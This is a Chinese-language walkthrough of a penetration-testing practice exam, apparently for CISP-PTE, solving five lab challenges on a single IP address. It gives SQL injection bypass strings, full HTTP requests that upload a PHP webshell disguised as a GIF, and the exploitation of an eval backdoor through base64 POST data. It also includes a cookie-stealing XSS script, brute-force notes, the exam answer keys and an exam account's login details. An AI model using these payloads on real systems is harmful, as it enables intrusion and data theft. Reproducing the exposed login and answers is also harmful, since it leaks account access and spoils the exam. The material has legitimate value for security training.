面试题：

https://m.younker.net.cn/index

https://wxa6456ac7fb0ccbff.h5.xiaoe-tech.com/evaluation_wechat/examination/introduce/ex_5dad96a03f5f0_PKBb8Agu

考试时间为3小时

请将题目中的10.11.0.10地址替换为39.100.119.37.端口号不变

网址：http://39.100.119.37:14000/

用户名：zhangtao0414

邮箱：1785058042@qq.com

密码：zhangao0414

1.http://39.100.119.37:10081

SQL注入

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。

用户名 admin

答案：1’OR’ 1=1

’=’

admin

key1:{ehbdq4s8}

0和1会变为bool值

万能密码 ，通过回显，判断过滤，不断尝试

’ooorrr 1#’

’Or 1#’

’Or 1%23’

’Or 1 -- ss’

’or’1

’0’’1’

绕过：select * from user where user=’’ and passwd=’’;

大小写

双写 oorr

替换 and-> & ; or ->|

编码 url /hex

空格 + %20 %0a %0b %0c %a0

注释 # %23 -- ss

闭合

2.http://39.100.119.37:10082

文件上传突破

文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的，“文件上传”本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。

测试该网站可能存在的包含漏洞，尝试获取webshell，答案就在根目录下key.php文件中。

一句话木马，菜刀

jpg，GIF，png可以上传成功

上传成功后，没有修改文件名操作，可以访问

http://39.100.119.37:10082/start/1.gif

使用burp

检测是否检查文件头

是否检测Content-Type

是否检测文件名

是否检测了文件内容，验证内容过滤：

图片内容为
GIF89a
<?php phpinfo(); ?>

GIF89a
<?php echo 'hello' ?>
看是否执行

是否检测文件名大小写 ，小写被过滤，大写未过滤，上传php一句换成功，但是不能执行，可能被过滤eval，换system执行

GIF89a
<?php eval('$_GET[C]'); ?>
内容：

```
POST /start/ HTTP/1.1
Host: 39.100.119.37:10082
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://39.100.119.37:10082/start/
X-Forwarded-For: 8.8.8.8
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------86911493332240
Content-Length: 219

-----------------------------86911493332240
Content-Disposition: form-data; name="files"; filename="zt4.php3"
Content-Type: image/gif

GIF89a
<?php system('pwd'); ?>
-----------------------------86911493332240--
```

访问：http://39.100.119.37:10082/start/zt4.php3

页面有回显 GIF89a /app/start

修改内容

GIF89a
<?php system('cat ../key.php'); ?>

访问：http://39.100.119.37:10082/start/zt4.php3

查看源码拿到key

//key2:tmweqxsz

3. http://39.100.119.37:10083

文件包含

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。

测试该网站可能存在的包含漏洞，尝试获取webshell，答案就在根目录下key.php文件中。

http://39.100.119.37:10083/start/?file=view.html 可以

http://39.100.119.37:10083/start/?file=view.htm 不可以

说明只可以访问 view.html文件

看view.html源码

http://39.100.119.37:10083/start/view.html

```
<?php
@$a = $_POST['Hello'];
if(isset($a)){
@preg_replace("/\
[(.*)\]/e",'\\1',base64_decode('WOBldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpOlO='));

}
?>
Hello
<br>
Are you ok?
```

解码：WOBldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpOlO=

[@eval(base64_decode($_POST[z0]));]

发现post方式传入了 Hello 和 z0参数

修改bp的传输方式为post

system('cat ../key.php'); 编码：c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

构建参数： Hello=11&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==

执行：

```
POST /start/?file=view.html HTTP/1.1
Host: 39.100.119.37:10083
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=o68ce0kclhn1ut705kog8iqnr7
X-Forwarded-For: 8.8.8.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

Hello=11&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
```

在源码中 看到注释，获得key

获取key值： key3:8x3manwq

4. http://39.100.119.37:10084/

360 CISP-PTE

利用XSS跨站脚本攻击获取后台权限，KEY在后台被展示

XSS跨站脚本攻击获取后台权限

```
<script>
document.location='http://localhost/xss_savecookie.asp?xcookie='+document.cookie;
```

history.back();
</script>

5 http://39.100.119.37:10085/

暴力破解是一种针对于密码的破译方法。这种方法很像数学上的“完全归纳法”并在密码破译方面得到了广泛的应用。简单来说就是将密码进行逐个推算直到找出真正的密码为止。比如一个四位并且全部由数字组成其密码共有10000种组合，也就是说最多我们会尝试9999次才能找到真正的密码。利用这种方法我们可以运用计算机来进行逐个推算，也就是说用我们破解任何一个密码也都只是一个时间问题。

查看源码：验证码前端生成，前端也没有检测，不用管，

直接设置passwd变量，使用字典暴力破解即可

答案：admin/123qwe

key5:ysxdecn8